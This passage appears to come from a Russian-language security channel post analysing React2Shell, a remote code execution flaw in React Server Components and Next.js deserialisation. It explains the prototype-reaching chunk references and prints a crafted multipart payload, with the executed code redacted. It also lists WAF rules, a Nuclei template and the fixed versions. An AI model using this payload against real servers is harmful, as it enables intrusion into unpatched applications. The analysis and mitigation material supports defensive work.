4.7Kпросмотров
5 декабря 2025 г.
📷 ФотоScore: 5.2K
⚠️ #web #offense #события #заметки ➡️Что по поводу React2Shell (CVE-2025-55182 / CVE-2025-66478)? Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения vm#runInThisContext, child_process#exec, fs#writeFile и им подобных; ⚡️ UPD: Уже доступен оригинальный PoC, использованный для репорта уязвимости вендору! 🐇 Проблема Сервер и клиент обмениваются чанками, передавая их через form-data — причём чанки могут содержать ссылки друг на друга. До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа; С помощью нагрузки вроде "$1:proto:constructor:constructor" можно получить [Function: Function] — глобальный конструктор; Если чанк имеет поле then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject); Соответственно, можем сформировать специальный объект, где then указывал бы на Function files = {
"0": (None, '{"then":"$1:proto:constructor:constructor"}'),
"1": (None, '{"x":1}'),
} 🐇 Эксплуатация 0️⃣ Десериализатор React через getChunck берёт чанк с ID=0 как корневой для разбора ссылок; 1️⃣ Через специальный синтаксис ($@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта; 2️⃣ Когда .status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка; 3️⃣ При обработке blob'ов с префиксом $B происходит вызов response._formData.get(response._prefix + obj); 4️⃣ Значит, в ._formData — указываем на конструктор Function, а в ._prefix — на произвольный код; 5️⃣ response._formData.get(response._prefix + "0") превратится в Function("█████████") ⚡️ 6️⃣ Эксплуатация происходит во время десериализации, ещё до валидации запроса через getActionModIdOrError; В запросе должен быть заголовок Next-Action 🐇 Полезная нагрузка crafted_chunk = {
"then": "$1:proto:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"███████████████████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
} files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
} Разбирая полезную нагрузку по пунктам:
▪️"then": "$1:proto:then"
➡️ чтобы чанк ID=0 переписал собственный .then(); ▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk; ▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk; ▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj); ▪️"_prefix"
➡️ здесь произвольный код для выполнения; ▪️"_formData"
➡️ здесь указываем на конструктор; 🐇 Обнаружение & Митигация 🧩 WAF правила: AWS / Google Cloud / Azure 🧩 Шаблон Nuclei: projectdiscovery/nuclei-templates/.../CVE-2025-55182.yaml CVE-2025-55182
Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1 Починили тут: facebook/react/commit/7dc9...8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components CVE-2025-66478
Уязвимые версии: от Next.js 15 до Ne